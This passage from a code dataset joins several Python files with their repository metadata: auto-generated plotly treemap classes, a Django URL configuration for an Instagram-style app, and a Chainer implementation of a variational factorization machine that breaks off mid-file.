self).__init__("stream") # Validate arg # ------------ if arg is None: arg = {} elif isinstance(arg, self.__class__): arg = arg.to_plotly_json() elif isinstance(arg, dict): arg = _copy.copy(arg) else: raise ValueError( """\ The first argument to the plotly.graph_objs.treemap.Stream constructor must be a dict or an instance of plotly.graph_objs.treemap.Stream""" ) # Handle skip_invalid # ------------------- self._skip_invalid = kwargs.pop("skip_invalid", False) # Import validators # ----------------- from plotly.validators.treemap import stream as v_stream # Initialize validators # --------------------- self._validators["maxpoints"] = v_stream.MaxpointsValidator() self._validators["token"] = v_stream.TokenValidator() # Populate data dict with properties # ---------------------------------- _v = arg.pop("maxpoints", None) self["maxpoints"] = maxpoints if maxpoints is not None else _v _v = arg.pop("token", None) self["token"] = token if token is not None else _v # Process unknown kwargs # ---------------------- self._process_kwargs(**dict(arg, **kwargs)) # Reset skip_invalid # ------------------ self._skip_invalid = False from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType import copy as _copy class Pathbar(_BaseTraceHierarchyType): # edgeshape # --------- @property def edgeshape(self): return self["edgeshape"] @edgeshape.setter def edgeshape(self, val): self["edgeshape"] = val # side # ---- @property def side(self): return self["side"] @side.setter def side(self, val): self["side"] = val # textfont # -------- @property def textfont(self): return self["textfont"] @textfont.setter def textfont(self, val): self["textfont"] = val # thickness # --------- @property def thickness(self): return self["thickness"] @thickness.setter def thickness(self, val): self["thickness"] = val # visible # ------- @property def visible(self): return self["visible"] @visible.setter def visible(self, val): self["visible"] = val # property parent name # -------------------- @property def _parent_path_str(self): return "treemap" # Self properties description # --------------------------- @property def _prop_descriptions(self): return """\ edgeshape Determines which shape is used for edges between `barpath` labels. side Determines on which side of the the treemap the `pathbar` should be presented. textfont Sets the font used inside `pathbar`. thickness Sets the thickness of `pathbar` (in px). If not specified the `pathbar.textfont.size` is used with 3 pixles extra padding on each side. visible Determines if the path bar is drawn i.e. outside the trace `domain` and with one pixel gap. """ def __init__( self, arg=None, edgeshape=None, side=None, textfont=None, thickness=None, visible=None, **kwargs ): super(Pathbar, self).__init__("pathbar") # Validate arg # ------------ if arg is None: arg = {} elif isinstance(arg, self.__class__): arg = arg.to_plotly_json() elif isinstance(arg, dict): arg = _copy.copy(arg) else: raise ValueError( """\ The first argument to the plotly.graph_objs.treemap.Pathbar constructor must be a dict or an instance of plotly.graph_objs.treemap.Pathbar""" ) # Handle skip_invalid # ------------------- self._skip_invalid = kwargs.pop("skip_invalid", False) # Import validators # ----------------- from plotly.validators.treemap import pathbar as v_pathbar # Initialize validators # --------------------- self._validators["edgeshape"] = v_pathbar.EdgeshapeValidator() self._validators["side"] = v_pathbar.SideValidator() self._validators["textfont"] = v_pathbar.TextfontValidator() self._validators["thickness"] = v_pathbar.ThicknessValidator() self._validators["visible"] = v_pathbar.VisibleValidator() # Populate data dict with properties # ---------------------------------- _v = arg.pop("edgeshape", None) self["edgeshape"] = edgeshape if edgeshape is not None else _v _v = arg.pop("side", None) self["side"] = side if side is not None else _v _v = arg.pop("textfont", None) self["textfont"] = textfont if textfont is not None else _v _v = arg.pop("thickness", None) self["thickness"] = thickness if thickness is not None else _v _v = arg.pop("visible", None) self["visible"] = visible if visible is not None else _v # Process unknown kwargs # ---------------------- self._process_kwargs(**dict(arg, **kwargs)) # Reset skip_invalid # ------------------ self._skip_invalid = False from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType import copy as _copy class Outsidetextfont(_BaseTraceHierarchyType): # color # ----- @property def color(self): return self["color"] @color.setter def color(self, val): self["color"] = val # colorsrc # -------- @property def colorsrc(self): return self["colorsrc"] @colorsrc.setter def colorsrc(self, val): self["colorsrc"] = val # family # ------ @property def family(self): return self["family"] @family.setter def family(self, val): self["family"] = val # familysrc # --------- @property def familysrc(self): return self["familysrc"] @familysrc.setter def familysrc(self, val): self["familysrc"] = val # size # ---- @property def size(self): return self["size"] @size.setter def size(self, val): self["size"] = val # sizesrc # ------- @property def sizesrc(self): return self["sizesrc"] @sizesrc.setter def sizesrc(self, val): self["sizesrc"] = val # property parent name # -------------------- @property def _parent_path_str(self): return "treemap" # Self properties description # --------------------------- @property def _prop_descriptions(self): return """\ color colorsrc Sets the source reference on plot.ly for color . family HTML font family - the typeface that will be applied by the web browser. The web browser will only be able to apply a font if it is available on the system which it operates. Provide multiple font families, separated by commas, to indicate the preference in which to apply fonts if they aren't available on the system. The plotly service (at https://plot.ly or on-premise) generates images on a server, where only a select number of fonts are installed and supported. These include "Arial", "Balto", "Courier New", "Droid Sans",, "Droid Serif", "Droid Sans Mono", "Gravitas One", "Old Standard TT", "Open Sans", "Overpass", "PT Sans Narrow", "Raleway", "Times New Roman". familysrc Sets the source reference on plot.ly for family . size sizesrc Sets the source reference on plot.ly for size . """ def __init__( self, arg=None, color=None, colorsrc=None, family=None, familysrc=None, size=None, sizesrc=None, **kwargs ): super(Outsidetextfont, self).__init__("outsidetextfont") if arg is None: arg = {} elif isinstance(arg, self.__class__): arg = arg.to_plotly_json() elif isinstance(arg, dict): arg = _copy.copy(arg) else: raise ValueError( """\ The first argument to the plotly.graph_objs.treemap.Outsidetextfont constructor must be a dict or an instance of plotly.graph_objs.treemap.Outsidetextfont""" ) self._skip_invalid = kwargs.pop("skip_invalid", False) from plotly.validators.treemap import outsidetextfont as v_outsidetextfont self._validators["color"] = v_outsidetextfont.ColorValidator() self._validators["colorsrc"] = v_outsidetextfont.ColorsrcValidator() self._validators["family"] = v_outsidetextfont.FamilyValidator() self._validators["familysrc"] = v_outsidetextfont.FamilysrcValidator() self._validators["size"] = v_outsidetextfont.SizeValidator() self._validators["sizesrc"] = v_outsidetextfont.SizesrcValidator() _v = arg.pop("color", None) self["color"] = color if color is not None else _v _v = arg.pop("colorsrc", None) self["colorsrc"] = colorsrc if colorsrc is not None else _v _v = arg.pop("family", None) self["family"] = family if family is not None else _v _v = arg.pop("familysrc", None) self["familysrc"] = familysrc if familysrc is not None else _v _v = arg.pop("size", None) self["size"] = size if size is not None else _v _v = arg.pop("sizesrc", None) self["sizesrc"] = sizesrc if sizesrc is not None else _v self._process_kwargs(**dict(arg, **kwargs)) self._skip_invalid = False from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType import copy as _copy class Marker(_BaseTraceHierarchyType): @property def autocolorscale(self): return self["autocolorscale"] @autocolorscale.setter def autocolorscale(self, val): self["autocolorscale"] = val @property def cauto(self): return self["cauto"] @cauto.setter def cauto(self, val): self["cauto"] = val @property def cmax(self): return self["cmax"] @cmax.setter def cmax(self, val): self["cmax"] = val @property def cmid(self): return self["cmid"] @cmid.setter def cmid(self, val): self["cmid"] = val @property def cmin(self): return self["cmin"] @cmin.setter def cmin(self, val): self["cmin"] = val @property def coloraxis(self): return self["coloraxis"] @coloraxis.setter def coloraxis(self, val): self["coloraxis"] = val @property def colorbar(self): return self["colorbar"] @colorbar.setter def colorbar(self, val): self["colorbar"] = val @property def colors(self): return self["colors"] @colors.setter def colors(self, val): self["colors"] = val @property def colorscale(self): return self["colorscale"] @colorscale.setter def colorscale(self, val): self["colorscale"] = val @property def colorssrc(self): return self["colorssrc"] @colorssrc.setter def colorssrc(self, val): self["colorssrc"] = val @property def depthfade(self): return self["depthfade"] @depthfade.setter def depthfade(self, val): self["depthfade"] = val @property def line(self): return self["line"] @line.setter def line(self, val): self["line"] = val @property def pad(self): return self["pad"] @pad.setter def pad(self, val): self["pad"] = val @property def reversescale(self): return self["reversescale"] @reversescale.setter def reversescale(self, val): self["reversescale"] = val @property def showscale(self): return self["showscale"] @showscale.setter def showscale(self, val): self["showscale"] = val @property def _parent_path_str(self): return "treemap" @property def _prop_descriptions(self): return """\ autocolorscale Determines whether the colorscale is a default palette (`autocolorscale: true`) or the palette determined by `marker.colorscale`. Has an effect only if colorsis set to a numerical array. In case `colorscale` is unspecified or `autocolorscale` is true, the default palette will be chosen according to whether numbers in the `color` array are all positive, all negative or mixed. cauto Determines whether or not the color domain is computed with respect to the input data (here colors) or the bounds set in `marker.cmin` and `marker.cmax` Has an effect only if colorsis set to a numerical array. Defaults to `false` when `marker.cmin` and `marker.cmax` are set by the user. cmax Sets the upper bound of the color domain. Has an effect only if colorsis set to a numerical array. Value should have the same units as colors and if set, `marker.cmin` must be set as well. cmid Sets the mid-point of the color domain by scaling `marker.cmin` and/or `marker.cmax` to be equidistant to this point. Has an effect only if colorsis set to a numerical array. Value should have the same units as colors. Has no effect when `marker.cauto` is `false`. cmin Sets the lower bound of the color domain. Has an effect only if colorsis set to a numerical array. Value should have the same units as colors and if set, `marker.cmax` must be set as well. coloraxis Sets a reference to a shared color axis. References to these shared color axes are "coloraxis", "coloraxis2", "coloraxis3", etc. Settings for these shared color axes are set in the layout, under `layout.coloraxis`, `layout.coloraxis2`, etc. Note that multiple color scales can be linked to the same color axis. colorbar plotly.graph_objects.treemap.marker.ColorBar instance or dict with compatible properties colors Sets the color of each sector of this trace. If not specified, the default trace color set is used to pick the sector colors. colorscale Sets the colorscale. Has an effect only if colorsis set to a numerical array. The colorscale must be an array containing arrays mapping a normalized value to an rgb, rgba, hex, hsl, hsv, or named color string. At minimum, a mapping for the lowest (0) and highest (1) values are required. For example, `[[0, 'rgb(0,0,255)'], [1, 'rgb(255,0,0)']]`. To control the bounds of the colorscale in color space, use`marker.cmin` and `marker.cmax`. Alternatively, `colorscale` may be a palette name string of the following list: Greys,YlGnBu ,Greens,YlOrRd,Bluered,RdBu,Reds,Blues,Picnic,Rainbow,P ortland,Jet,Hot,Blackbody,Earth,Electric,Viridis,Cividi s. colorssrc Sets the source reference on plot.ly for colors . depthfade Determines if the sector colors are faded towards the background from the leaves up to the headers. This option is unavailable when a `colorscale` is present, defaults to false when `marker.colors` is set, but otherwise defaults to true. When set to "reversed", the fading direction is inverted, that is the top elements within hierarchy are drawn with fully saturated colors while the leaves are faded towards the background color. line plotly.graph_objects.treemap.marker.Line instance or dict with compatible properties pad plotly.graph_objects.treemap.marker.Pad instance or dict with compatible properties reversescale Reverses the color mapping if true. Has an effect only if colorsis set to a numerical array. If true, `marker.cmin` will correspond to the last color in the array and `marker.cmax` will correspond to the first color. showscale Determines whether or not a colorbar is displayed for this trace. Has an effect only if colorsis set to a numerical array. """ def __init__( self, arg=None, autocolorscale=None, cauto=None, cmax=None, cmid=None, cmin=None, coloraxis=None, colorbar=None, colors=None, colorscale=None, colorssrc=None, depthfade=None, line=None, pad=None, reversescale=None, showscale=None, **kwargs ): super(Marker, self).__init__("marker") if arg is None: arg = {} elif isinstance(arg, self.__class__): arg = arg.to_plotly_json() elif isinstance(arg, dict): arg = _copy.copy(arg) else: raise ValueError( """\ The first argument to the plotly.graph_objs.treemap.Marker constructor must be a dict or an instance of plotly.graph_objs.treemap.Marker""" ) self._skip_invalid = kwargs.pop("skip_invalid", False) from plotly.validators.treemap import marker as v_marker self._validators["autocolorscale"] = v_marker.AutocolorscaleValidator() self._validators["cauto"] = v_marker.CautoValidator() self._validators["cmax"] = v_marker.CmaxValidator() self._validators["cmid"] = v_marker.CmidValidator() self._validators["cmin"] = v_marker.CminValidator() self._validators["coloraxis"] = v_marker.ColoraxisValidator() self._validators["colorbar"] = v_marker.ColorBarValidator() self._validators["colors"] = v_marker.ColorsValidator() self._validators["colorscale"] = v_marker.ColorscaleValidator() self._validators["colorssrc"] = v_marker.ColorssrcValidator() self._validators["depthfade"] = v_marker.DepthfadeValidator() self._validators["line"] = v_marker.LineValidator() self._validators["pad"] = v_marker.PadValidator() self._validators["reversescale"] = v_marker.ReversescaleValidator() self._validators["showscale"] = v_marker.ShowscaleValidator() _v = arg.pop("autocolorscale", None) self["autocolorscale"] = autocolorscale if autocolorscale is not None else _v _v = arg.pop("cauto", None) self["cauto"] = cauto if cauto is not None else _v _v = arg.pop("cmax", None) self["cmax"] = cmax if cmax is not None else _v _v = arg.pop("cmid", None) self["cmid"] = cmid if cmid is not None else _v _v = arg.pop("cmin", None) self["cmin"] = cmin if cmin is not None else _v _v = arg.pop("coloraxis", None) self["coloraxis"] = coloraxis if coloraxis is not None else _v _v = arg.pop("colorbar", None) self["colorbar"] = colorbar if colorbar is not None else _v _v = arg.pop("colors", None) self["colors"] = colors if colors is not None else _v _v = arg.pop("colorscale", None) self["colorscale"] = colorscale if colorscale is not None else _v _v = arg.pop("colorssrc", None) self["colorssrc"] = colorssrc if colorssrc is not None else _v _v = arg.pop("depthfade", None) self["depthfade"] = depthfade if depthfade is not None else _v _v = arg.pop("line", None) self["line"] = line if line is not None else _v _v = arg.pop("pad", None) self["pad"] = pad if pad is not None else _v _v = arg.pop("reversescale", None) self["reversescale"] = reversescale if reversescale is not None else _v _v = arg.pop("showscale", None) self["showscale"] = showscale if showscale is not None else _v self._process_kwargs(**dict(arg, **kwargs)) self._skip_invalid = False from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType import copy as _copy class Insidetextfont(_BaseTraceHierarchyType): @property def color(self): return self["color"] @color.setter def color(self, val): self["color"] = val @property def colorsrc(self): return self["colorsrc"] @colorsrc.setter def colorsrc(self, val): self["colorsrc"] = val @property def family(self): return self["family"] @family.setter def family(self, val): self["family"] = val @property def familysrc(self): return self["familysrc"] @familysrc.setter def familysrc(self, val): self["familysrc"] = val @property def size(self): return self["size"] @size.setter def size(self, val): self["size"] = val @property def sizesrc(self): return self["sizesrc"] @sizesrc.setter def sizesrc(self, val): self["sizesrc"] = val @property def _parent_path_str(self): return "treemap" @property def _prop_descriptions(self): return """\ color colorsrc Sets the source reference on plot.ly for color . family HTML font family - the typeface that will be applied by the web browser. The web browser will only be able to apply a font if it is available on the system which it operates. Provide multiple font families, separated by commas, to indicate the preference in which to apply fonts if they aren't available on the system. The plotly service (at https://plot.ly or on-premise) generates images on a server, where only a select number of fonts are installed and supported. These include "Arial", "Balto", "Courier New", "Droid Sans",, "Droid Serif", "Droid Sans Mono", "Gravitas One", "Old Standard TT", "Open Sans", "Overpass", "PT Sans Narrow", "Raleway", "Times New Roman". familysrc Sets the source reference on plot.ly for family . size sizesrc Sets the source reference on plot.ly for size . """ def __init__( self, arg=None, color=None, colorsrc=None, family=None, familysrc=None, size=None, sizesrc=None, **kwargs ): super(Insidetextfont, self).__init__("insidetextfont") # Validate arg # ------------ if arg is None: arg = {} elif isinstance(arg, self.__class__): arg = arg.to_plotly_json() elif isinstance(arg, dict): arg = _copy.copy(arg) else: raise ValueError( """\ The first argument to the plotly.graph_objs.treemap.Insidetextfont constructor must be a dict or an instance of plotly.graph_objs.treemap.Insidetextfont""" ) # Handle skip_invalid # ------------------- self._skip_invalid = kwargs.pop("skip_invalid", False) # Import validators # ----------------- from plotly.validators.treemap import insidetextfont as v_insidetextfont # Initialize validators # --------------------- self._validators["color"] = v_insidetextfont.ColorValidator() self._validators["colorsrc"] = v_insidetextfont.ColorsrcValidator() self._validators["family"] = v_insidetextfont.FamilyValidator() self._validators["familysrc"] = v_insidetextfont.FamilysrcValidator() self._validators["size"] = v_insidetextfont.SizeValidator() self._validators["sizesrc"] = v_insidetextfont.SizesrcValidator() # Populate data dict with properties # ---------------------------------- _v = arg.pop("color", None) self["color"] = color if color is not None else _v _v = arg.pop("colorsrc", None) self["colorsrc"] = colorsrc if colorsrc is not None else _v _v = arg.pop("family", None) self["family"] = family if family is not None else _v _v = arg.pop("familysrc", None) self["familysrc"] = familysrc if familysrc is not None else _v _v = arg.pop("size", None) self["size"] = size if size is not None else _v _v = arg.pop("sizesrc", None) self["sizesrc"] = sizesrc if sizesrc is not None else _v # Process unknown kwargs # ---------------------- self._process_kwargs(**dict(arg, **kwargs)) # Reset skip_invalid # ------------------ self._skip_invalid = False from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType import copy as _copy class Hoverlabel(_BaseTraceHierarchyType): # align # ----- @property def align(self): return self["align"] @align.setter def align(self, val): self["align"] = val # alignsrc # -------- @property def alignsrc(self): return self["alignsrc"] @alignsrc.setter def alignsrc(self, val): self["alignsrc"] = val # bgcolor # ------- @property def bgcolor(self): return self["bgcolor"] @bgcolor.setter def bgcolor(self, val): self["bgcolor"] = val # bgcolorsrc # ---------- @property def bgcolorsrc(self): return self["bgcolorsrc"] @bgcolorsrc.setter def bgcolorsrc(self, val): self["bgcolorsrc"] = val # bordercolor # ----------- @property def bordercolor(self): return self["bordercolor"] @bordercolor.setter def bordercolor(self, val): self["bordercolor"] = val # bordercolorsrc # -------------- @property def bordercolorsrc(self): return self["bordercolorsrc"] @bordercolorsrc.setter def bordercolorsrc(self, val): self["bordercolorsrc"] = val # font # ---- @property def font(self): return self["font"] @font.setter def font(self, val): self["font"] = val # namelength # ---------- @property def namelength(self): return self["namelength"] @namelength.setter def namelength(self, val): self["namelength"] = val # namelengthsrc # ------------- @property def namelengthsrc(self): return self["namelengthsrc"] @namelengthsrc.setter def namelengthsrc(self, val): self["namelengthsrc"] = val # property parent name # -------------------- @property def _parent_path_str(self): return "treemap" # Self properties description # --------------------------- @property def _prop_descriptions(self): return """\ align Sets the horizontal alignment of the text content within hover label box. Has an effect only if the hover label text spans more two or more lines alignsrc Sets the source reference on plot.ly for align . bgcolor Sets the background color of the hover labels for this trace bgcolorsrc Sets the source reference on plot.ly for bgcolor . bordercolor Sets the border color of the hover labels for this trace. bordercolorsrc Sets the source reference on plot.ly for bordercolor . font Sets the font used in hover labels. namelength Sets the default length (in number of characters) of the trace name in the hover labels for all traces. -1 shows the whole name regardless of length. 0-3 shows the first 0-3 characters, and an integer >3 will show the whole name if it is less than that many characters, but if it is longer, will truncate to `namelength - 3` characters and add an ellipsis. namelengthsrc Sets the source reference on plot.ly for namelength . """ def __init__( self, arg=None, align=None, alignsrc=None, bgcolor=None, bgcolorsrc=None, bordercolor=None, bordercolorsrc=None, font=None, namelength=None, namelengthsrc=None, **kwargs ): super(Hoverlabel, self).__init__("hoverlabel") # Validate arg # ------------ if arg is None: arg = {} elif isinstance(arg, self.__class__): arg = arg.to_plotly_json() elif isinstance(arg, dict): arg = _copy.copy(arg) else: raise ValueError( """\ The first argument to the plotly.graph_objs.treemap.Hoverlabel constructor must be a dict or an instance of plotly.graph_objs.treemap.Hoverlabel""" ) # Handle skip_invalid # ------------------- self._skip_invalid = kwargs.pop("skip_invalid", False) # Import validators # ----------------- from plotly.validators.treemap import hoverlabel as v_hoverlabel # Initialize validators # --------------------- self._validators["align"] = v_hoverlabel.AlignValidator() self._validators["alignsrc"] = v_hoverlabel.AlignsrcValidator() self._validators["bgcolor"] = v_hoverlabel.BgcolorValidator() self._validators["bgcolorsrc"] = v_hoverlabel.BgcolorsrcValidator() self._validators["bordercolor"] = v_hoverlabel.BordercolorValidator() self._validators["bordercolorsrc"] = v_hoverlabel.BordercolorsrcValidator() self._validators["font"] = v_hoverlabel.FontValidator() self._validators["namelength"] = v_hoverlabel.NamelengthValidator() self._validators["namelengthsrc"] = v_hoverlabel.NamelengthsrcValidator() # Populate data dict with properties # ---------------------------------- _v = arg.pop("align", None) self["align"] = align if align is not None else _v _v = arg.pop("alignsrc", None) self["alignsrc"] = alignsrc if alignsrc is not None else _v _v = arg.pop("bgcolor", None) self["bgcolor"] = bgcolor if bgcolor is not None else _v _v = arg.pop("bgcolorsrc", None) self["bgcolorsrc"] = bgcolorsrc if bgcolorsrc is not None else _v _v = arg.pop("bordercolor", None) self["bordercolor"] = bordercolor if bordercolor is not None else _v _v = arg.pop("bordercolorsrc", None) self["bordercolorsrc"] = bordercolorsrc if bordercolorsrc is not None else _v _v = arg.pop("font", None) self["font"] = font if font is not None else _v _v = arg.pop("namelength", None) self["namelength"] = namelength if namelength is not None else _v _v = arg.pop("namelengthsrc", None) self["namelengthsrc"] = namelengthsrc if namelengthsrc is not None else _v # Process unknown kwargs # ---------------------- self._process_kwargs(**dict(arg, **kwargs)) # Reset skip_invalid # ------------------ self._skip_invalid = False from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType import copy as _copy class Domain(_BaseTraceHierarchyType): # column # ------ @property def column(self): return self["column"] @column.setter def column(self, val): self["column"] = val # row # --- @property def row(self): return self["row"] @row.setter def row(self, val): self["row"] = val # x # - @property def x(self): return self["x"] @x.setter def x(self, val): self["x"] = val # y # - @property def y(self): return self["y"] @y.setter def y(self, val): self["y"] = val # property parent name # -------------------- @property def _parent_path_str(self): return "treemap" # Self properties description # --------------------------- @property def _prop_descriptions(self): return """\ column If there is a layout grid, use the domain for this column in the grid for this treemap trace . row If there is a layout grid, use the domain for this row in the grid for this treemap trace . x Sets the horizontal domain of this treemap trace (in plot fraction). y Sets the vertical domain of this treemap trace (in plot fraction). """ def __init__(self, arg=None, column=None, row=None, x=None, y=None, **kwargs): super(Domain, self).__init__("domain") # Validate arg # ------------ if arg is None: arg = {} elif isinstance(arg, self.__class__): arg = arg.to_plotly_json() elif isinstance(arg, dict): arg = _copy.copy(arg) else: raise ValueError( """\ The first argument to the plotly.graph_objs.treemap.Domain constructor must be a dict or an instance of plotly.graph_objs.treemap.Domain""" ) # Handle skip_invalid # ------------------- self._skip_invalid = kwargs.pop("skip_invalid", False) # Import validators # ----------------- from plotly.validators.treemap import domain as v_domain # Initialize validators # --------------------- self._validators["column"] = v_domain.ColumnValidator() self._validators["row"] = v_domain.RowValidator() self._validators["x"] = v_domain.XValidator() self._validators["y"] = v_domain.YValidator() # Populate data dict with properties # ---------------------------------- _v = arg.pop("column", None) self["column"] = column if column is not None else _v _v = arg.pop("row", None) self["row"] = row if row is not None else _v _v = arg.pop("x", None) self["x"] = x if x is not None else _v _v = arg.pop("y", None) self["y"] = y if y is not None else _v # Process unknown kwargs # ---------------------- self._process_kwargs(**dict(arg, **kwargs)) # Reset skip_invalid # ------------------ self._skip_invalid = False __all__ = [ "Domain", "Hoverlabel", "Insidetextfont", "Marker", "Outsidetextfont", "Pathbar", "Stream", "Textfont", "Tiling", "hoverlabel", "marker", "pathbar", ] from plotly.graph_objs.treemap import pathbar from plotly.graph_objs.treemap import marker from plotly.graph_objs.treemap import hoverlabel

true

f705372d8ae86131f8816526842556b71e7b9ae5

337

py

Python

insta/urls.py

osman2491/Insta

f941f2b20f814e1c13fe0f9c02a1a60be3cd2c87

[ "MIT" ]

null

insta/urls.py

osman2491/Insta

f941f2b20f814e1c13fe0f9c02a1a60be3cd2c87

[ "MIT" ]

2

2021-06-10T22:33:39.000Z

2021-09-08T01:39:21.000Z

insta/urls.py

osman2491/Insta

f941f2b20f814e1c13fe0f9c02a1a60be3cd2c87

[ "MIT" ]

null

from django.conf.urls import url,include from django.contrib import admin from django.contrib.auth import views urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'',include('instagram.urls')), url(r'^accounts/', include('registration.backends.simple.urls')), url(r'^logout/$', views.logout, {"next_page": '/'}), ]

33.7

69

0.682493

from django.conf.urls import url,include from django.contrib import admin from django.contrib.auth import views urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'',include('instagram.urls')), url(r'^accounts/', include('registration.backends.simple.urls')), url(r'^logout/$', views.logout, {"next_page": '/'}), ]

true

f705378db8f82576f4e65044784728515b32f0c3

10,546

py

Python

vfm.py

jilljenn/vfm

4cb2f5157ee7301321bb4babedb62223a720d231

[ "MIT" ]

null

vfm.py

jilljenn/vfm

4cb2f5157ee7301321bb4babedb62223a720d231

[ "MIT" ]

null

vfm.py

jilljenn/vfm

4cb2f5157ee7301321bb4babedb62223a720d231

[ "MIT" ]

1

2020-01-15T07:06:52.000Z

import chainer from chainer import training from chainer.training import extensions from chainer.datasets import TupleDataset from chainer import Chain from chainer import links as L from chainer import functions as F from chainer import reporter from chainer import cuda import numpy as np def dot(a, b): """ Simple dot product""" return F.sum(a * b, axis=-1) def batch_interactions(x): xp = cuda.get_array_module(x.data) batchsize = x.shape[0] shape = (batchsize, x.shape[1] ** 2) left = xp.tile(x.data, (1, x.shape[1])) right = xp.repeat(x.data, x.shape[1]).reshape(shape) return left, right class VFM(Chain): lv_floor = -100.0 def __init__(self, n_features=None, n_dim=1 , lossfun=F.mean_squared_error, lambda0=1, lambda1=1, lambda2=1, init_bias_mu=0.0, init_bias_lv=0.0, intx_term=True, total_nobs=1): self.n_dim = n_dim self.n_features = n_features self.lossfun = lossfun self.lambda0 = lambda0 self.lambda1 = lambda1 self.lambda2 = lambda2 self.intx_term = intx_term self.total_nobs = total_nobs # In contrast to the FM model, the slopes and latent vectors # will have means (mu) and log variances (lv) for each component. super(VFM, self).__init__(bias_mu=L.Bias(shape=(1,)), bias_lv=L.Bias(shape=(1,)), slop_mu=L.Bias(shape=(1, 1)), slop_lv=L.Bias(shape=(1, 1)), slop_delta_mu=L.EmbedID(n_features, 1, ignore_label=-1), slop_delta_lv=L.EmbedID(n_features, 1, ignore_label=-1), feat_mu_vec=L.Bias(shape=(1, 1, n_dim)), feat_lv_vec=L.Bias(shape=(1, 1, n_dim)), feat_delta_mu=L.EmbedID(n_features, n_dim, ignore_label=-1), feat_delta_lv=L.EmbedID(n_features, n_dim, ignore_label=-1)) # Xavier initialize weights c = np.sqrt(n_features * n_dim) * 1e3 d = np.sqrt(n_features) * 1e3 self.feat_delta_mu.W.data[...] = np.random.randn(n_features, n_dim) / c self.feat_delta_lv.W.data[...] = np.random.randn(n_features, n_dim) / c self.slop_delta_mu.W.data[...] = np.random.randn(n_features, 1) / d self.slop_delta_lv.W.data[...] = np.random.randn(n_features, 1) / d self.bias_mu.b.data[...] *= 0.0 self.bias_mu.b.data[...] += init_bias_mu self.bias_lv.b.data[...] *= 0.0 self.bias_lv.b.data[...] += init_bias_lv def term_bias(self, bs, train=True): """ Compute overall bias and broadcast to shape of batchsize """ shape = (bs, 1,) # Bias is drawn from a Gaussian with given mu and log variance bs_mu = F.broadcast_to(self.bias_mu.b, shape) bs_lv = F.broadcast_to(self.bias_lv.b, shape) bias = F.flatten(F.gaussian(bs_mu, bs_lv)) # Add a very negative log variance so we're sampling # from a very narrow distribution about the mean. # Useful for validation dataset when we want to only guess # the mean. if not train: bs_lv += self.lv_floor # Compute prior on the bias, so compute the KL div # from the KL(N(mu_bias, var_bias) | N(0, 1)) kld = F.gaussian_kl_divergence(self.bias_mu.b, self.bias_lv.b) return bias, kld def term_slop(self, loc, val, bs, nf, train=True): """ Compute the slope for each active feature. """ shape = (bs, nf) # Reshape all of our constants pr_mu = F.broadcast_to(self.slop_mu.b, shape) pr_lv = F.broadcast_to(self.slop_lv.b, shape) # This is either zero or a very negative number # indicating to sample N(mean, logvar) or just draw # the mean preicsely if not train: pr_lv += self.lv_floor # The feature slopes are grouped together so that they # all share a common mean. Then individual features slop_delta_lv # are shrunk towards zero, which effectively sets features to fall # back on the group mean. sl_mu = F.reshape(self.slop_delta_mu(loc), shape) + pr_mu sl_lv = F.reshape(self.slop_delta_lv(loc), shape) + pr_lv coef = F.gaussian(sl_mu, sl_lv) slop = F.sum(coef * val, axis=1) # Calculate divergence between group mean and N(0, 1) kld1 = F.gaussian_kl_divergence(self.slop_mu.b, self.slop_lv.b) # Calculate divergence of individual delta means and delta vars args = (self.slop_delta_mu.W, self.slop_delta_lv.W) kld2 = F.gaussian_kl_divergence(*args) return slop, kld1 + kld2 def term_feat(self, iloc, jloc, ival, jval, bs, nf, train=True): # Change all of the shapes to form interaction vectors shape = (bs, nf * 2, self.n_dim) feat_mu_vec = F.broadcast_to(self.feat_mu_vec.b, shape) feat_lv_vec = F.broadcast_to(self.feat_lv_vec.b, shape) if not train: feat_lv_vec += self.lv_floor # Construct the interaction mean and variance # iloc is (bs, nf), feat(iloc) is (bs, nf, ndim) and # dot(feat, feat) is (bs, nf) ivec = F.gaussian(feat_mu_vec + self.feat_delta_mu(iloc), feat_lv_vec + self.feat_delta_lv(iloc)) jvec = F.gaussian(feat_mu_vec + self.feat_delta_mu(jloc), feat_lv_vec + self.feat_delta_lv(jloc)) # feat is (bs, ) feat = dot(F.sum(ivec * jvec, axis=2), ival * jval) # Compute the KLD for the group mean vector and variance vector kld1 = F.gaussian_kl_divergence(self.feat_mu_vec.b, self.feat_lv_vec.b) # Compute the KLD for vector deviations from the group mean and var kld2 = F.gaussian_kl_divergence(self.feat_delta_mu.W, self.feat_delta_lv.W) return feat, kld1 + kld2 def forward(self, loc, val, y, train=True): """ Given the sparse feature vector defined by location integers for the column index and the value at that index. y ~ c + sum(w_i x_i) + sum_ij( <v_i, v_j> * x_i * x_j) Parameters ---------- val : array of float Values in the feature array. Should of shape (batchsize, n_feat_max) loc : array of int Location of the non-zero columns in the sparse vector. Should be of shape (batchsize, n_feat_max) y : array of float Array of expected outcome. train: bool If True uses the reparameterization trick to estimate variables. If False, this sets the variance to nearly zero such that parameters are always set to the mean with no noise, which is useful at test time. """ bs = val.data.shape[0] nf = val.data.shape[1] iloc, jloc = batch_interactions(loc) ival, jval = batch_interactions(val) # Compute scalar bias term bias, kld0 = self.term_bias(bs, train=train) # Compute the feature weights slop, kld1 = self.term_slop(loc, val, bs, nf, train=train) # Compute factorized weights on interaction features feat, kld2 = self.term_feat(iloc, jloc, ival, jval, bs, nf, train=train) # Optionally choose to include the interaction term # without this is linear regression pred = bias + slop if self.intx_term: pred += feat return pred, kld0, kld1, kld2 def __call__(self, loc, val, y, train=True): bs = val.data.shape[0] pred, kld0, kld1, kld2 = self.forward(loc, val, y, train=train) # Compute MSE loss mse = F.mean_squared_error(pred, y) rmse = F.sqrt(mse) # Only used for reporting # Now compute the total KLD loss kldt = kld0 * self.lambda0 + kld1 * self.lambda1 + kld2 * self.lambda2 # Total loss is MSE plus regularization losses loss = mse + kldt * (1.0 / self.total_nobs) # Log the errors logs = {'loss': loss, 'rmse': rmse, 'kld0': kld0, 'kld1': kld1, 'kld2': kld2, 'kldt': kldt, 'bias': F.sum(self.bias_mu.b)} reporter.report(logs, self) return loss class 